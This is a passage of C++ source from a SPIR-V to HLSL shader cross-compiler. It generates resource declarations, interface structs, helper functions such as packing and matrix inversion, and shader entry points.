if (var.storage != StorageClassFunction && !is_builtin_variable(var) && !var.remapped_variable &&
type.pointer &&
(type.storage == StorageClassUniformConstant || type.storage == StorageClassAtomicCounter))
{
emit_uniform(var);
emitted = true;
}
}
}
if (emitted)
statement("");
emitted = false;
// Emit builtin input and output variables here.
emit_builtin_variables();
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
auto &type = get<SPIRType>(var.basetype);
bool block = meta[type.self].decoration.decoration_flags.get(DecorationBlock);
// Do not emit I/O blocks here.
// I/O blocks can be arrayed, so we must deal with them separately to support geometry shaders
// and tessellation down the line.
if (!block && var.storage != StorageClassFunction && !var.remapped_variable && type.pointer &&
(var.storage == StorageClassInput || var.storage == StorageClassOutput) && !is_builtin_variable(var) &&
interface_variable_exists_in_entry_point(var.self))
{
// Only emit non-builtins which are not blocks here. Builtin variables are handled separately.
emit_interface_block_globally(var);
emitted = true;
}
}
}
if (emitted)
statement("");
emitted = false;
require_input = false;
require_output = false;
unordered_set<uint32_t> active_inputs;
unordered_set<uint32_t> active_outputs;
vector<SPIRVariable *> input_variables;
vector<SPIRVariable *> output_variables;
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
auto &type = get<SPIRType>(var.basetype);
bool block = meta[type.self].decoration.decoration_flags.get(DecorationBlock);
if (var.storage != StorageClassInput && var.storage != StorageClassOutput)
continue;
// Do not emit I/O blocks here.
// I/O blocks can be arrayed, so we must deal with them separately to support geometry shaders
// and tessellation down the line.
if (!block && !var.remapped_variable && type.pointer && !is_builtin_variable(var) &&
interface_variable_exists_in_entry_point(var.self))
{
if (var.storage == StorageClassInput)
input_variables.push_back(&var);
else
output_variables.push_back(&var);
}
// Reserve input and output locations for block variables as necessary.
if (block && !is_builtin_variable(var) && interface_variable_exists_in_entry_point(var.self))
{
auto &active = var.storage == StorageClassInput ? active_inputs : active_outputs;
for (uint32_t i = 0; i < uint32_t(type.member_types.size()); i++)
{
if (has_member_decoration(type.self, i, DecorationLocation))
{
uint32_t location = get_member_decoration(type.self, i, DecorationLocation);
active.insert(location);
}
}
// Emit the block struct and a global variable here.
emit_io_block(var);
}
}
}
const auto variable_compare = [&](const SPIRVariable *a, const SPIRVariable *b) -> bool {
// Sort input and output variables based on, from more robust to less robust:
// - Location
// - Variable has a location
// - Name comparison
// - Variable has a name
// - Fallback: ID
bool has_location_a = has_decoration(a->self, DecorationLocation);
bool has_location_b = has_decoration(b->self, DecorationLocation);
if (has_location_a && has_location_b)
{
return get_decoration(a->self, DecorationLocation) < get_decoration(b->self, DecorationLocation);
}
else if (has_location_a && !has_location_b)
return true;
else if (!has_location_a && has_location_b)
return false;
const auto &name1 = to_name(a->self);
const auto &name2 = to_name(b->self);
if (name1.empty() && name2.empty())
return a->self < b->self;
else if (name1.empty())
return true;
else if (name2.empty())
return false;
return name1.compare(name2) < 0;
};
auto input_builtins = active_input_builtins;
input_builtins.clear(BuiltInNumWorkgroups);
input_builtins.clear(BuiltInPointCoord);
input_builtins.clear(BuiltInSubgroupSize);
input_builtins.clear(BuiltInSubgroupLocalInvocationId);
input_builtins.clear(BuiltInSubgroupEqMask);
input_builtins.clear(BuiltInSubgroupLtMask);
input_builtins.clear(BuiltInSubgroupLeMask);
input_builtins.clear(BuiltInSubgroupGtMask);
input_builtins.clear(BuiltInSubgroupGeMask);
if (!input_variables.empty() || !input_builtins.empty())
{
require_input = true;
statement("struct SPIRV_Cross_Input");
begin_scope();
sort(input_variables.begin(), input_variables.end(), variable_compare);
for (auto var : input_variables)
emit_interface_block_in_struct(*var, active_inputs);
emit_builtin_inputs_in_struct();
end_scope_decl();
statement("");
}
if (!output_variables.empty() || !active_output_builtins.empty())
{
require_output = true;
statement("struct SPIRV_Cross_Output");
begin_scope();
// FIXME: Use locations properly if they exist.
sort(output_variables.begin(), output_variables.end(), variable_compare);
for (auto var : output_variables)
emit_interface_block_in_struct(*var, active_outputs);
emit_builtin_outputs_in_struct();
end_scope_decl();
statement("");
}
// Global variables.
for (auto global : global_variables)
{
auto &var = get<SPIRVariable>(global);
if (var.storage != StorageClassOutput)
{
add_resource_name(var.self);
const char *storage = nullptr;
switch (var.storage)
{
case StorageClassWorkgroup:
storage = "groupshared";
break;
default:
storage = "static";
break;
}
statement(storage, " ", variable_decl(var), ";");
emitted = true;
}
}
if (emitted)
statement("");
declare_undefined_values();
if (requires_op_fmod)
{
static const char *types[] = {
"float",
"float2",
"float3",
"float4",
};
for (auto &type : types)
{
statement(type, " mod(", type, " x, ", type, " y)");
begin_scope();
statement("return x - y * floor(x / y);");
end_scope();
statement("");
}
}
if (requires_textureProj)
{
if (hlsl_options.shader_model >= 40)
{
statement("float SPIRV_Cross_projectTextureCoordinate(float2 coord)");
begin_scope();
statement("return coord.x / coord.y;");
end_scope();
statement("");
statement("float2 SPIRV_Cross_projectTextureCoordinate(float3 coord)");
begin_scope();
statement("return float2(coord.x, coord.y) / coord.z;");
end_scope();
statement("");
statement("float3 SPIRV_Cross_projectTextureCoordinate(float4 coord)");
begin_scope();
statement("return float3(coord.x, coord.y, coord.z) / coord.w;");
end_scope();
statement("");
}
else
{
statement("float4 SPIRV_Cross_projectTextureCoordinate(float2 coord)");
begin_scope();
statement("return float4(coord.x, 0.0, 0.0, coord.y);");
end_scope();
statement("");
statement("float4 SPIRV_Cross_projectTextureCoordinate(float3 coord)");
begin_scope();
statement("return float4(coord.x, coord.y, 0.0, coord.z);");
end_scope();
statement("");
statement("float4 SPIRV_Cross_projectTextureCoordinate(float4 coord)");
begin_scope();
statement("return coord;");
end_scope();
statement("");
}
}
if (required_textureSizeVariants != 0)
{
static const char *types[QueryTypeCount] = { "float4", "int4", "uint4" };
static const char *dims[QueryDimCount] = { "Texture1D", "Texture1DArray", "Texture2D", "Texture2DArray",
"Texture3D", "Buffer", "TextureCube", "TextureCubeArray",
"Texture2DMS", "Texture2DMSArray" };
static const bool has_lod[QueryDimCount] = { true, true, true, true, true, false, true, true, false, false };
static const char *ret_types[QueryDimCount] = {
"uint", "uint2", "uint2", "uint3", "uint3", "uint", "uint2", "uint3", "uint2", "uint3",
};
static const uint32_t return_arguments[QueryDimCount] = {
1, 2, 2, 3, 3, 1, 2, 3, 2, 3,
};
for (uint32_t index = 0; index < QueryDimCount; index++)
{
for (uint32_t type_index = 0; type_index < QueryTypeCount; type_index++)
{
uint32_t bit = 16 * type_index + index;
uint64_t mask = 1ull << bit;
if ((required_textureSizeVariants & mask) == 0)
continue;
statement(ret_types[index], " SPIRV_Cross_textureSize(", dims[index], "<", types[type_index],
"> Tex, uint Level, out uint Param)");
begin_scope();
statement(ret_types[index], " ret;");
switch (return_arguments[index])
{
case 1:
if (has_lod[index])
statement("Tex.GetDimensions(Level, ret.x, Param);");
else
{
statement("Tex.GetDimensions(ret.x);");
statement("Param = 0u;");
}
break;
case 2:
if (has_lod[index])
statement("Tex.GetDimensions(Level, ret.x, ret.y, Param);");
else
statement("Tex.GetDimensions(ret.x, ret.y, Param);");
break;
case 3:
if (has_lod[index])
statement("Tex.GetDimensions(Level, ret.x, ret.y, ret.z, Param);");
else
statement("Tex.GetDimensions(ret.x, ret.y, ret.z, Param);");
break;
}
statement("return ret;");
end_scope();
statement("");
}
}
}
if (requires_fp16_packing)
{
// HLSL does not pack into a single word sadly :(
statement("uint SPIRV_Cross_packHalf2x16(float2 value)");
begin_scope();
statement("uint2 Packed = f32tof16(value);");
statement("return Packed.x | (Packed.y << 16);");
end_scope();
statement("");
statement("float2 SPIRV_Cross_unpackHalf2x16(uint value)");
begin_scope();
statement("return f16tof32(uint2(value & 0xffff, value >> 16));");
end_scope();
statement("");
}
if (requires_explicit_fp16_packing)
{
// HLSL does not pack into a single word sadly :(
statement("uint SPIRV_Cross_packFloat2x16(min16float2 value)");
begin_scope();
statement("uint2 Packed = f32tof16(value);");
statement("return Packed.x | (Packed.y << 16);");
end_scope();
statement("");
statement("min16float2 SPIRV_Cross_unpackFloat2x16(uint value)");
begin_scope();
statement("return min16float2(f16tof32(uint2(value & 0xffff, value >> 16)));");
end_scope();
statement("");
}
// HLSL does not seem to have builtins for these operation, so roll them by hand ...
if (requires_unorm8_packing)
{
statement("uint SPIRV_Cross_packUnorm4x8(float4 value)");
begin_scope();
statement("uint4 Packed = uint4(round(saturate(value) * 255.0));");
statement("return Packed.x | (Packed.y << 8) | (Packed.z << 16) | (Packed.w << 24);");
end_scope();
statement("");
statement("float4 SPIRV_Cross_unpackUnorm4x8(uint value)");
begin_scope();
statement("uint4 Packed = uint4(value & 0xff, (value >> 8) & 0xff, (value >> 16) & 0xff, value >> 24);");
statement("return float4(Packed) / 255.0;");
end_scope();
statement("");
}
if (requires_snorm8_packing)
{
statement("uint SPIRV_Cross_packSnorm4x8(float4 value)");
begin_scope();
statement("int4 Packed = int4(round(clamp(value, -1.0, 1.0) * 127.0)) & 0xff;");
statement("return uint(Packed.x | (Packed.y << 8) | (Packed.z << 16) | (Packed.w << 24));");
end_scope();
statement("");
statement("float4 SPIRV_Cross_unpackSnorm4x8(uint value)");
begin_scope();
statement("int SignedValue = int(value);");
statement("int4 Packed = int4(SignedValue << 24, SignedValue << 16, SignedValue << 8, SignedValue) >> 24;");
statement("return clamp(float4(Packed) / 127.0, -1.0, 1.0);");
end_scope();
statement("");
}
if (requires_unorm16_packing)
{
statement("uint SPIRV_Cross_packUnorm2x16(float2 value)");
begin_scope();
statement("uint2 Packed = uint2(round(saturate(value) * 65535.0));");
statement("return Packed.x | (Packed.y << 16);");
end_scope();
statement("");
statement("float2 SPIRV_Cross_unpackUnorm2x16(uint value)");
begin_scope();
statement("uint2 Packed = uint2(value & 0xffff, value >> 16);");
statement("return float2(Packed) / 65535.0;");
end_scope();
statement("");
}
if (requires_snorm16_packing)
{
statement("uint SPIRV_Cross_packSnorm2x16(float2 value)");
begin_scope();
statement("int2 Packed = int2(round(clamp(value, -1.0, 1.0) * 32767.0)) & 0xffff;");
statement("return uint(Packed.x | (Packed.y << 16));");
end_scope();
statement("");
statement("float2 SPIRV_Cross_unpackSnorm2x16(uint value)");
begin_scope();
statement("int SignedValue = int(value);");
statement("int2 Packed = int2(SignedValue << 16, SignedValue) >> 16;");
statement("return clamp(float2(Packed) / 32767.0, -1.0, 1.0);");
end_scope();
statement("");
}
if (requires_bitfield_insert)
{
static const char *types[] = { "uint", "uint2", "uint3", "uint4" };
for (auto &type : types)
{
statement(type, " SPIRV_Cross_bitfieldInsert(", type, " Base, ", type, " Insert, uint Offset, uint Count)");
begin_scope();
statement("uint Mask = Count == 32 ? 0xffffffff : (((1u << Count) - 1) << (Offset & 31));");
statement("return (Base & ~Mask) | ((Insert << Offset) & Mask);");
end_scope();
statement("");
}
}
if (requires_bitfield_extract)
{
static const char *unsigned_types[] = { "uint", "uint2", "uint3", "uint4" };
for (auto &type : unsigned_types)
{
statement(type, " SPIRV_Cross_bitfieldUExtract(", type, " Base, uint Offset, uint Count)");
begin_scope();
statement("uint Mask = Count == 32 ? 0xffffffff : ((1 << Count) - 1);");
statement("return (Base >> Offset) & Mask;");
end_scope();
statement("");
}
// In this overload, we will have to do sign-extension, which we will emulate by shifting up and down.
static const char *signed_types[] = { "int", "int2", "int3", "int4" };
for (auto &type : signed_types)
{
statement(type, " SPIRV_Cross_bitfieldSExtract(", type, " Base, int Offset, int Count)");
begin_scope();
statement("int Mask = Count == 32 ? -1 : ((1 << Count) - 1);");
statement(type, " Masked = (Base >> Offset) & Mask;");
statement("int ExtendShift = (32 - Count) & 31;");
statement("return (Masked << ExtendShift) >> ExtendShift;");
end_scope();
statement("");
}
}
if (requires_inverse_2x2)
{
statement("// Returns the inverse of a matrix, by using the algorithm of calculating the classical");
statement("// adjoint and dividing by the determinant. The contents of the matrix are changed.");
statement("float2x2 SPIRV_Cross_Inverse(float2x2 m)");
begin_scope();
statement("float2x2 adj; // The adjoint matrix (inverse after dividing by determinant)");
statement_no_indent("");
statement("// Create the transpose of the cofactors, as the classical adjoint of the matrix.");
statement("adj[0][0] = m[1][1];");
statement("adj[0][1] = -m[0][1];");
statement_no_indent("");
statement("adj[1][0] = -m[1][0];");
statement("adj[1][1] = m[0][0];");
statement_no_indent("");
statement("// Calculate the determinant as a combination of the cofactors of the first row.");
statement("float det = (adj[0][0] * m[0][0]) + (adj[0][1] * m[1][0]);");
statement_no_indent("");
statement("// Divide the classical adjoint matrix by the determinant.");
statement("// If determinant is zero, matrix is not invertable, so leave it unchanged.");
statement("return (det != 0.0f) ? (adj * (1.0f / det)) : m;");
end_scope();
statement("");
}
if (requires_inverse_3x3)
{
statement("// Returns the determinant of a 2x2 matrix.");
statement("float SPIRV_Cross_Det2x2(float a1, float a2, float b1, float b2)");
begin_scope();
statement("return a1 * b2 - b1 * a2;");
end_scope();
statement_no_indent("");
statement("// Returns the inverse of a matrix, by using the algorithm of calculating the classical");
statement("// adjoint and dividing by the determinant. The contents of the matrix are changed.");
statement("float3x3 SPIRV_Cross_Inverse(float3x3 m)");
begin_scope();
statement("float3x3 adj; // The adjoint matrix (inverse after dividing by determinant)");
statement_no_indent("");
statement("// Create the transpose of the cofactors, as the classical adjoint of the matrix.");
statement("adj[0][0] = SPIRV_Cross_Det2x2(m[1][1], m[1][2], m[2][1], m[2][2]);");
statement("adj[0][1] = -SPIRV_Cross_Det2x2(m[0][1], m[0][2], m[2][1], m[2][2]);");
statement("adj[0][2] = SPIRV_Cross_Det2x2(m[0][1], m[0][2], m[1][1], m[1][2]);");
statement_no_indent("");
statement("adj[1][0] = -SPIRV_Cross_Det2x2(m[1][0], m[1][2], m[2][0], m[2][2]);");
statement("adj[1][1] = SPIRV_Cross_Det2x2(m[0][0], m[0][2], m[2][0], m[2][2]);");
statement("adj[1][2] = -SPIRV_Cross_Det2x2(m[0][0], m[0][2], m[1][0], m[1][2]);");
statement_no_indent("");
statement("adj[2][0] = SPIRV_Cross_Det2x2(m[1][0], m[1][1], m[2][0], m[2][1]);");
statement("adj[2][1] = -SPIRV_Cross_Det2x2(m[0][0], m[0][1], m[2][0], m[2][1]);");
statement("adj[2][2] = SPIRV_Cross_Det2x2(m[0][0], m[0][1], m[1][0], m[1][1]);");
statement_no_indent("");
statement("// Calculate the determinant as a combination of the cofactors of the first row.");
statement("float det = (adj[0][0] * m[0][0]) + (adj[0][1] * m[1][0]) + (adj[0][2] * m[2][0]);");
statement_no_indent("");
statement("// Divide the classical adjoint matrix by the determinant.");
statement("// If determinant is zero, matrix is not invertable, so leave it unchanged.");
statement("return (det != 0.0f) ? (adj * (1.0f / det)) : m;");
end_scope();
statement("");
}
if (requires_inverse_4x4)
{
if (!requires_inverse_3x3)
{
statement("// Returns the determinant of a 2x2 matrix.");
statement("float SPIRV_Cross_Det2x2(float a1, float a2, float b1, float b2)");
begin_scope();
statement("return a1 * b2 - b1 * a2;");
end_scope();
statement("");
}
statement("// Returns the determinant of a 3x3 matrix.");
statement("float SPIRV_Cross_Det3x3(float a1, float a2, float a3, float b1, float b2, float b3, float c1, "
"float c2, float c3)");
begin_scope();
statement("return a1 * SPIRV_Cross_Det2x2(b2, b3, c2, c3) - b1 * SPIRV_Cross_Det2x2(a2, a3, c2, c3) + c1 * "
"SPIRV_Cross_Det2x2(a2, a3, "
"b2, b3);");
end_scope();
statement_no_indent("");
statement("// Returns the inverse of a matrix, by using the algorithm of calculating the classical");
statement("// adjoint and dividing by the determinant. The contents of the matrix are changed.");
statement("float4x4 SPIRV_Cross_Inverse(float4x4 m)");
begin_scope();
statement("float4x4 adj; // The adjoint matrix (inverse after dividing by determinant)");
statement_no_indent("");
statement("// Create the transpose of the cofactors, as the classical adjoint of the matrix.");
statement(
"adj[0][0] = SPIRV_Cross_Det3x3(m[1][1], m[1][2], m[1][3], m[2][1], m[2][2], m[2][3], m[3][1], m[3][2], "
"m[3][3]);");
statement(
"adj[0][1] = -SPIRV_Cross_Det3x3(m[0][1], m[0][2], m[0][3], m[2][1], m[2][2], m[2][3], m[3][1], m[3][2], "
"m[3][3]);");
statement(
"adj[0][2] = SPIRV_Cross_Det3x3(m[0][1], m[0][2], m[0][3], m[1][1], m[1][2], m[1][3], m[3][1], m[3][2], "
"m[3][3]);");
statement(
"adj[0][3] = -SPIRV_Cross_Det3x3(m[0][1], m[0][2], m[0][3], m[1][1], m[1][2], m[1][3], m[2][1], m[2][2], "
"m[2][3]);");
statement_no_indent("");
statement(
"adj[1][0] = -SPIRV_Cross_Det3x3(m[1][0], m[1][2], m[1][3], m[2][0], m[2][2], m[2][3], m[3][0], m[3][2], "
"m[3][3]);");
statement(
"adj[1][1] = SPIRV_Cross_Det3x3(m[0][0], m[0][2], m[0][3], m[2][0], m[2][2], m[2][3], m[3][0], m[3][2], "
"m[3][3]);");
statement(
"adj[1][2] = -SPIRV_Cross_Det3x3(m[0][0], m[0][2], m[0][3], m[1][0], m[1][2], m[1][3], m[3][0], m[3][2], "
"m[3][3]);");
statement(
"adj[1][3] = SPIRV_Cross_Det3x3(m[0][0], m[0][2], m[0][3], m[1][0], m[1][2], m[1][3], m[2][0], m[2][2], "
"m[2][3]);");
statement_no_indent("");
statement(
"adj[2][0] = SPIRV_Cross_Det3x3(m[1][0], m[1][1], m[1][3], m[2][0], m[2][1], m[2][3], m[3][0], m[3][1], "
"m[3][3]);");
statement(
"adj[2][1] = -SPIRV_Cross_Det3x3(m[0][0], m[0][1], m[0][3], m[2][0], m[2][1], m[2][3], m[3][0], m[3][1], "
"m[3][3]);");
statement(
"adj[2][2] = SPIRV_Cross_Det3x3(m[0][0], m[0][1], m[0][3], m[1][0], m[1][1], m[1][3], m[3][0], m[3][1], "
"m[3][3]);");
statement(
"adj[2][3] = -SPIRV_Cross_Det3x3(m[0][0], m[0][1], m[0][3], m[1][0], m[1][1], m[1][3], m[2][0], m[2][1], "
"m[2][3]);");
statement_no_indent("");
statement(
"adj[3][0] = -SPIRV_Cross_Det3x3(m[1][0], m[1][1], m[1][2], m[2][0], m[2][1], m[2][2], m[3][0], m[3][1], "
"m[3][2]);");
statement(
"adj[3][1] = SPIRV_Cross_Det3x3(m[0][0], m[0][1], m[0][2], m[2][0], m[2][1], m[2][2], m[3][0], m[3][1], "
"m[3][2]);");
statement(
"adj[3][2] = -SPIRV_Cross_Det3x3(m[0][0], m[0][1], m[0][2], m[1][0], m[1][1], m[1][2], m[3][0], m[3][1], "
"m[3][2]);");
statement(
"adj[3][3] = SPIRV_Cross_Det3x3(m[0][0], m[0][1], m[0][2], m[1][0], m[1][1], m[1][2], m[2][0], m[2][1], "
"m[2][2]);");
statement_no_indent("");
statement("// Calculate the determinant as a combination of the cofactors of the first row.");
statement("float det = (adj[0][0] * m[0][0]) + (adj[0][1] * m[1][0]) + (adj[0][2] * m[2][0]) + (adj[0][3] "
"* m[3][0]);");
statement_no_indent("");
statement("// Divide the classical adjoint matrix by the determinant.");
statement("// If determinant is zero, matrix is not invertable, so leave it unchanged.");
statement("return (det != 0.0f) ? (adj * (1.0f / det)) : m;");
end_scope();
statement("");
}
}
string CompilerHLSL::layout_for_member(const SPIRType &type, uint32_t index)
{
auto &flags = get_member_decoration_bitset(type.self, index);
// HLSL can emit row_major or column_major decoration in any struct.
// Do not try to merge combined decorations for children like in GLSL.
// Flip the convention. HLSL is a bit odd in that the memory layout is column major ... but the language API is "row-major".
// The way to deal with this is to multiply everything in inverse order, and reverse the memory layout.
if (flags.get(DecorationColMajor))
return "row_major ";
else if (flags.get(DecorationRowMajor))
return "column_major ";
return "";
}
void CompilerHLSL::emit_struct_member(const SPIRType &type, uint32_t member_type_id, uint32_t index,
const string &qualifier, uint32_t base_offset)
{
auto &membertype = get<SPIRType>(member_type_id);
Bitset memberflags;
auto &memb = meta[type.self].members;
if (index < memb.size())
memberflags = memb[index].decoration_flags;
string qualifiers;
bool is_block = meta[type.self].decoration.decoration_flags.get(DecorationBlock) ||
meta[type.self].decoration.decoration_flags.get(DecorationBufferBlock);
if (is_block)
qualifiers = to_interpolation_qualifiers(memberflags);
string packing_offset;
bool is_push_constant = type.storage == StorageClassPushConstant;
if ((has_decoration(type.self, DecorationCPacked) || is_push_constant) &&
has_member_decoration(type.self, index, DecorationOffset))
{
uint32_t offset = memb[index].offset - base_offset;
if (offset & 3)
SPIRV_CROSS_THROW("Cannot pack on tighter bounds than 4 bytes in HLSL.");
static const char *packing_swizzle[] = { "", ".y", ".z", ".w" };
packing_offset = join(" : packoffset(c", offset / 16, packing_swizzle[(offset & 15) >> 2], ")");
}
statement(layout_for_member(type, index), qualifiers, qualifier,
variable_decl(membertype, to_member_name(type, index)), packing_offset, ";");
}
void CompilerHLSL::emit_buffer_block(const SPIRVariable &var)
{
auto &type = get<SPIRType>(var.basetype);
bool is_uav = var.storage == StorageClassStorageBuffer || has_decoration(type.self, DecorationBufferBlock);
if (is_uav)
{
Bitset flags = get_buffer_block_flags(var);
bool is_readonly = flags.get(DecorationNonWritable);
add_resource_name(var.self);
statement(is_readonly ? "ByteAddressBuffer " : "RWByteAddressBuffer ", to_name(var.self),
type_to_array_glsl(type), to_resource_binding(var), ";");
}
else
{
if (type.array.empty())
{
if (buffer_is_packing_standard(type, BufferPackingHLSLCbufferPackOffset))
set_decoration(type.self, DecorationCPacked);
else
SPIRV_CROSS_THROW("cbuffer cannot be expressed with either HLSL packing layout or packoffset.");
// Flatten the top-level struct so we can use packoffset,
// this restriction is similar to GLSL where layout(offset) is not possible on sub-structs.
flattened_structs.insert(var.self);
type.member_name_cache.clear();
add_resource_name(var.self);
statement("cbuffer ", to_name(var.self), to_resource_binding(var));
begin_scope();
uint32_t i = 0;
for (auto &member : type.member_types)
{
add_member_name(type, i);
auto backup_name = get_member_name(type.self, i);
auto member_name = to_member_name(type, i);
set_member_name(type.self, i, sanitize_underscores(join(to_name(var.self), "_", member_name)));
emit_struct_member(type, member, i, "");
set_member_name(type.self, i, backup_name);
i++;
}
end_scope_decl();
}
else
{
if (hlsl_options.shader_model < 51)
SPIRV_CROSS_THROW(
"Need ConstantBuffer<T> to use arrays of UBOs, but this is only supported in SM 5.1.");
// ConstantBuffer<T> does not support packoffset, so it is unuseable unless everything aligns as we expect.
if (!buffer_is_packing_standard(type, BufferPackingHLSLCbuffer))
SPIRV_CROSS_THROW("HLSL ConstantBuffer<T> cannot be expressed with normal HLSL packing rules.");
add_resource_name(type.self);
add_resource_name(var.self);
emit_struct(get<SPIRType>(type.self));
statement("ConstantBuffer<", to_name(type.self), "> ", to_name(var.self), type_to_array_glsl(type),
to_resource_binding(var), ";");
}
}
}
void CompilerHLSL::emit_push_constant_block(const SPIRVariable &var)
{
if (root_constants_layout.empty())
{
emit_buffer_block(var);
}
else
{
for (const auto &layout : root_constants_layout)
{
auto &type = get<SPIRType>(var.basetype);
if (buffer_is_packing_standard(type, BufferPackingHLSLCbufferPackOffset, layout.start, layout.end))
set_decoration(type.self, DecorationCPacked);
else
SPIRV_CROSS_THROW(
"root constant cbuffer cannot be expressed with either HLSL packing layout or packoffset.");
flattened_structs.insert(var.self);
type.member_name_cache.clear();
add_resource_name(var.self);
auto &memb = meta[type.self].members;
statement("cbuffer SPIRV_CROSS_RootConstant_", to_name(var.self),
to_resource_register('b', layout.binding, layout.space));
begin_scope();
// Index of the next field in the generated root constant constant buffer
auto constant_index = 0u;
// Iterate over all member of the push constant and check which of the fields
// fit into the given root constant layout.
for (auto i = 0u; i < memb.size(); i++)
{
const auto offset = memb[i].offset;
if (layout.start <= offset && offset < layout.end)
{
const auto &member = type.member_types[i];
add_member_name(type, constant_index);
auto backup_name = get_member_name(type.self, i);
auto member_name = to_member_name(type, i);
set_member_name(type.self, constant_index,
sanitize_underscores(join(to_name(var.self), "_", member_name)));
emit_struct_member(type, member, i, "", layout.start);
set_member_name(type.self, constant_index, backup_name);
constant_index++;
}
}
end_scope_decl();
}
}
}
string CompilerHLSL::to_sampler_expression(uint32_t id)
{
auto expr = join("_", to_expression(id));
auto index = expr.find_first_of('[');
if (index == string::npos)
{
return expr + "_sampler";
}
else
{
// We have an expression like _ident[array], so we cannot tack on _sampler, insert it inside the string instead.
return expr.insert(index, "_sampler");
}
}
void CompilerHLSL::emit_sampled_image_op(uint32_t result_type, uint32_t result_id, uint32_t image_id, uint32_t samp_id)
{
set<SPIRCombinedImageSampler>(result_id, result_type, image_id, samp_id);
}
string CompilerHLSL::to_func_call_arg(uint32_t id)
{
string arg_str = CompilerGLSL::to_func_call_arg(id);
if (hlsl_options.shader_model <= 30)
return arg_str;
// Manufacture automatic sampler arg if the arg is a SampledImage texture and we're in modern HLSL.
auto &type = expression_type(id);
// We don't have to consider combined image samplers here via OpSampledImage because
// those variables cannot be passed as arguments to functions.
// Only global SampledImage variables may be used as arguments.
if (type.basetype == SPIRType::SampledImage && type.image.dim != DimBuffer)
arg_str += ", " + to_sampler_expression(id);
return arg_str;
}
void CompilerHLSL::emit_function_prototype(SPIRFunction &func, const Bitset &return_flags)
{
if (func.self != entry_point)
add_function_overload(func);
auto &execution = get_entry_point();
// Avoid shadow declarations.
local_variable_names = resource_names;
string decl;
auto &type = get<SPIRType>(func.return_type);
if (type.array.empty())
{
decl += flags_to_precision_qualifiers_glsl(type, return_flags);
decl += type_to_glsl(type);
decl += " ";
}
else
{
// We cannot return arrays in HLSL, so "return" through an out variable.
decl = "void ";
}
if (func.self == entry_point)
{
if (execution.model == ExecutionModelVertex)
decl += "vert_main";
else if (execution.model == ExecutionModelFragment)
decl += "frag_main";
else if (execution.model == ExecutionModelGLCompute)
decl += "comp_main";
else
SPIRV_CROSS_THROW("Unsupported execution model.");
processing_entry_point = true;
}
else
decl += to_name(func.self);
decl += "(";
if (!type.array.empty())
{
// Fake array returns by writing to an out array instead.
decl += "out ";
decl += type_to_glsl(type);
decl += " ";
decl += "SPIRV_Cross_return_value";
decl += type_to_array_glsl(type);
if (!func.arguments.empty())
decl += ", ";
}
for (auto &arg : func.arguments)
{
// Might change the variable name if it already exists in this function.
// SPIRV OpName doesn't have any semantic effect, so it's valid for an implementation
// to use same name for variables.
// Since we want to make the GLSL debuggable and somewhat sane, use fallback names for variables which are duplicates.
add_local_variable_name(arg.id);
decl += argument_decl(arg);
// Flatten a combined sampler to two separate arguments in modern HLSL.
auto &arg_type = get<SPIRType>(arg.type);
if (hlsl_options.shader_model > 30 && arg_type.basetype == SPIRType::SampledImage &&
arg_type.image.dim != DimBuffer)
{
// Manufacture automatic sampler arg for SampledImage texture
decl += ", ";
decl += join(arg_type.image.depth ? "SamplerComparisonState " : "SamplerState ",
to_sampler_expression(arg.id), type_to_array_glsl(arg_type));
}
if (&arg != &func.arguments.back())
decl += ", ";
// Hold a pointer to the parameter so we can invalidate the readonly field if needed.
auto *var = maybe_get<SPIRVariable>(arg.id);
if (var)
var->parameter = &arg;
}
decl += ")";
statement(decl);
}
void CompilerHLSL::emit_hlsl_entry_point()
{
vector<string> arguments;
if (require_input)
arguments.push_back("SPIRV_Cross_Input stage_input");
// Add I/O blocks as separate arguments with appropriate storage qualifier.
for (auto &id : ids)
{
if (id.get_type() == TypeVariable)
{
auto &var = id.get<SPIRVariable>();
auto &type = get<SPIRType>(var.basetype);
bool block = meta[type.self].decoration.decoration_flags.get(DecorationBlock);
if (var.storage != StorageClassInput && var.storage != StorageClassOutput)
continue;
if (block && !is_builtin_variable(var) && interface_variable_exists_in_entry_point(var.self))
{
if (var.storage == StorageClassInput)
{
arguments.push_back(join("in ", variable_decl(type, join("stage_input", to_name(var.self)))));
}
else if (var.storage == StorageClassOutput)
{
arguments.push_back(join("out ", variable_decl(type, join("stage_output", to_name(var.self)))));
}
}
}
}
auto &execution = get_entry_point();
switch (execution.model)
{
case ExecutionModelGLCompute:
{
SpecializationConstant wg_x, wg_y, wg_z;
get_work_group_size_specialization_constants(wg_x, wg_y, wg_z);
uint32_t x = execution.workgroup_size.x;
uint32_t y = execution.workgroup_size.y;
uint32_t z = execution.workgroup_size.z;
if (wg_x.id)
x = get<SPIRConstant>(wg_x.id).scalar();
if (wg_y.id)
y = get<SPIRConstant>(wg_y.id).scalar();
if (wg_z.id)
z = get<SPIRConstant>(wg_z.id).scalar();
statement("[numthreads(", x, ", ", y, ", ", z, ")]");
break;
}
case ExecutionModelFragment:
if (execution.flags.get(ExecutionModeEarlyFragmentTests))
statement("[earlydepthstencil]");
break;
default:
break;
}
statement(require_output ? "SPIRV_Cross_Output " : "void ", "main(", merge(arguments), ")");
begin_scope();
bool legacy = hlsl_options.shader_model <= 30;
// Copy builtins from entry point arguments to globals.
active_input_builtins.for_each_bit([&](uint32_t i) {
auto builtin = builtin_to_glsl(static_cast<BuiltIn>(i), StorageClassInput);
switch (static_cast<BuiltIn>(i))
{
case BuiltInFragCoord:
// VPOS in D3D9 is sampled at integer locations, apply half-pixel offset to be consistent.
// TODO: Do we need an option here? Any reason why a D3D9 shader would be used
// on a D3D10+ system with a different rasterization config?
if (legacy)
statement(builtin, " = stage_input.", builtin, " + float4(0.5f, 0.5f, 0.0f, 0.0f);");
else
statement(builtin, " = stage_input.", builtin, ";");
break;
case BuiltInVertexId:
case BuiltInVertexIndex:
case BuiltInInstanceId:
case BuiltInInstanceIndex:
// D3D semantics are uint, but shader wants int.
statement(builtin, " = int(stage_input.", builtin, ");");
break;
case BuiltInNumWorkgroups:
case BuiltInPointCoord:
case BuiltInSubgroupSize:
case BuiltInSubgroupLocalInvocationId:
break;
case BuiltInSubgroupEqMask:
// Emulate these ...
// No 64-bit in HLSL, so have to do it in 32-bit and unroll.
statement("gl_SubgroupEqMask = 1u << (WaveGetLaneIndex() - uint4(0, 32, 64, 96));");
statement("if (WaveGetLaneIndex() >= 32) gl_SubgroupEqMask.x = 0;");
